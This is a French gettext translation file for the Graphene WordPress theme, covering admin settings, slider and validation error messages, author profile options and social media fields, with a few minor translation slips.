msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Note :</strong> Ceci est une fonction expériementale. Rapportez les problèmes sur le <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Forum de Support</a>, svp."

#: admin/options.php:1709
msgid "Choose a file from your computer:"
msgstr "Choisissez un fichier de votre ordinateur :"

#: admin/options.php:1709
#, php-format
msgid "Maximum size: %s"
msgstr "Taille maximum : %s"

#: admin/options.php:1716
msgid "Upload file and import"
msgstr "Envoyer fichier et importer"

#: admin/uninstall.php:22
#, php-format
msgid "Theme uninstalled. Redirecting to %s"
msgstr "Thème désinstallé. Redirection vers %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Information de Profil d'utilisateur spécifique de Graphene"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "Les paramètres définis ici seront utilisés uniquement dans le thème Graphene."

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "URL de l'image du profil pour l'auteur"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Vous pouvez spécifier l'image affichée comme image de profil de l'auteur dans la page auteur. S'il n'y a pas d'URL définie ici, le <a href=\"http://www.gravatar.com\">gravatar</a> de l'auteur sera utilisé."

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Entrez l'URL (sans oublier <code>http://</code>) pour l'image de votre profil svp."

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>Important : </strong> L'image doit être inférieure ou égale à <strong>150 pixels</strong>."

#: admin/validator.php:24
msgid "ERROR: Invalid category to show in slider."
msgstr "ERREUR : Catégorie non-valide pour afficher dans le diaporama."

#: admin/validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr "ERREUR: Vous devez spécifier les articles/pages à afficher lorsque vous avez sélectionné \"Afficher les articles/pages \"."

#: admin/validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr "ERREUR: Vous devez avoir sélectionné au moins une catégorie lorsque vous avez sélectionné \"Voir les articles à partir des catégories \"."

#: admin/validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr "ERREUR / Catégorie non-valide sélectionnée pour les catégories de diaporama."

#: admin/validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr "ERREUR : Le nombre d'articles devant être affiché dans le diaporama doit être un nombre sans virgule."

#: admin/validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr "ERREUR : Option non-valide spécifiée pour l'image de diaporama."

#: admin/validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr "ERREUR : Mauvaise URL entrée pour l'URL de l'image"

#: admin/validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr "ERREUR : Options non-valide spécifiée pour le style d'affichage du diaporama."

#: admin/validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr "ERREUR : La valeur pour la hauteur du diaporama doit être un nombre sans virgules."

#: admin/validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr "ERREUR : La valeur pour la vitesse du diaporama doit être un nombre sans virgule."

#: admin/validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr "ERREUR : La valeur pour la vitesse de transition du diaporama doit être un nombre sans virgule"

#: admin/validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr "ERREUR / Animation de diaporama non-valide."

#: admin/validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr "ERREUR : Catégorie non-valide sélectionnée pour les catégories de la page d'accueil."

#: admin/validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr "ERREUR : Option non-valide pour le type de contenu à afficher dans les panneaux de l'accueil."

#: admin/validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr "ERREUR : La valeur pour le nombre d'articles récents à afficher dans les panneaux de la page d'accueil doit être sans virgules."

#: admin/validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr "ERREUR : Catégorie non-valide sélectionnée pour les articles récents à afficher dans les panneaux de l'accueil."

#: admin/validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr "ERREUR : Option non-valide pour les options de commentaires."

#: admin/validator.php:116
msgid "ERROR: Invalid option for the child page listings."
msgstr "ERREUR : Option non-valide pour les listes de pares enfants."

#: admin/validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr "ERREUR : Mauvaise URL entrée pour l'URL de flux personnalisé"

#: admin/validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr "ERREUR : Mauvaise URL entrée pour l'URL Twitter."

#: admin/validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr "ERREUR : Mauvaise URL entrée pour l'URL Facebook."

#: admin/validator.php:152
msgid "ERROR: Bad URL entered for the social media icon URL."
msgstr "ERREUR : Mauvaise URL pour l'icône de média social."

#: admin/validator.php:153
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "ERREUR : Mauvaise URL pour l'URL de l'icône de média social."

#: admin/validator.php:168
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr "Erreur : Option non-valide pour l'emplacement des boutons de partage social."

#: admin/validator.php:228
msgid "ERROR: Invalid option for the Search box location."
msgstr "ERREUR/ Option non-valide pour l'emplacement de la boîte de recherche."

#: admin/validator.php:233
msgid "ERROR: Invalid option for the column mode."
msgstr "ERREUR/ Option non-valide pour le mode colonne."

#: admin/validator.php:239
msgid "ERROR: Invalid option for the post date display."
msgstr "ERREUR/ Option non-valide pour l'affichage de la date de l'article."

#: admin/validator.php:305
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "ERREUR : Le nombre de colonnes à afficher dans le widget du pied doit être sans virgule."

#: admin/validator.php:310
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr "ERREUR : La largeur du sous-menu doit être un chiffre sans virgule."

#: admin/validator.php:318
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr "ERREUR : Mauvaise URL pour le favicon."

#: admin/validator.php:332
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr "ERROR: Invalid action hook selected widget action hooks."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Nom du Média Social"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Nom du média social : exemple,  Linkedin, etc."

#: admin/js/admin.js.php:54
msgid "Social Media title"
msgstr "Titre Média Social"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr "Titre pour les médias sociaux. Laissez vide pour un titre généré."

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "URL du profil de média social"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "URL de votre page pour le média social"

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "URL pour l'icône du média social"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. <strong>Note:</strong> the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr "URL de l'icône des médias sociaux. <strong> Remarque: </ strong> le thème utilise le set d'icônes %s pour les icônes de médias sociaux. S'il vous plaît, ne faîtes pas de liens directs des icônes sur le site. Télécharger les icônes dont vous avez besoin et déposez les télécharger sur votre serveur."

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "XHTML Valide 1.0"

#~ msgid "Valid CSS"
#~ msgstr "CSS Valide"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "CSS Valide niveau 2.1"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr ""
#~ "%1$s utilise le thème %2$s par %3$s. Traduction française : <a href="
#~ "\"http://www.wolforg.eu\">Wolforg</a>"

#~ msgid "URL to your profile page for the social media."
#~ msgstr "URL de la page de profil sur le média social"

#~ msgid "Leave field empty to use the default value."
#~ msgstr "Laissez le champ vide pour utiliser la valeur par défaut."

#, fuzzy
#~ msgid "Feed Options"
#~ msgstr "Options du pied"

#~ msgid "No comment yet"
#~ msgstr "Pas encore de commentaires"

#~ msgid ""
#~ "Please enter only numerical value for the footer widget column count."
#~ msgstr ""
#~ "Entrez uniquement une valeur numérique pour le nombre de colonnes du "
#~ "widget du bas"

#~ msgid ""
#~ "Please enter only numerical value for the front page footer widget column "
#~ "count."
#~ msgstr ""
#~ "Entrez uniquement une valeur numérique pour le nombre de colonnes du "
#~ "widget du bas pour l'accueil"

#~ msgid ""
#~ "Please enter only numerical value for the navigation menu dropdown item "
#~ "width."
#~ msgstr ""
#~ "Entrez uniquement une valeur numérique pour le nombre d'éléments du menu "
#~ "de navigation."

#~ msgid "ERROR:"
#~ msgstr "ERREUR :"

#~ msgid ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"
#~ msgstr ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"

#~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
#~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#~ msgid ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
#~ msgstr ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
#~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>"

#~ msgid ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"
#~ msgstr ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"

#~ msgid "Update Settings"
#~ msgstr "Enregistrer les paramètres"

#~ msgid "You must enter your Adsense code to enable Adsense advertising"
#~ msgstr "Vous devez entrer votre code Adsense pour activer ce dernier."

#~ msgid ""
#~ "You must enter your AddThis button code to enable the AddThis social "
#~ "sharing button"
#~ msgstr ""
#~ "Vous devez entrer votre code de bouton Addthis pour activer ce dernier"

#~ msgid ""
#~ "You must enter your Google Analytics tracking code to enable Google "
#~ "Analytics tracking."
#~ msgstr ""
#~ "Vous devez entrer votre code Google Analytics pour activer le tracking"

#~ msgid "AddThis Options"
#~ msgstr "Options Addthis"

#~ msgid "Your AddThis button code"
#~ msgstr "Votre code de bouton Addthis"

#~ msgid ""
#~ "You can generate your button code from the <a href=\"http://www.addthis."
#~ "com/\">AddThis website</a>."
#~ msgstr ""
#~ "Vous pouvez générer votre code de bouton à partir du site <a href="
#~ "\"http://www.addthis.com/\">AddThis</a>."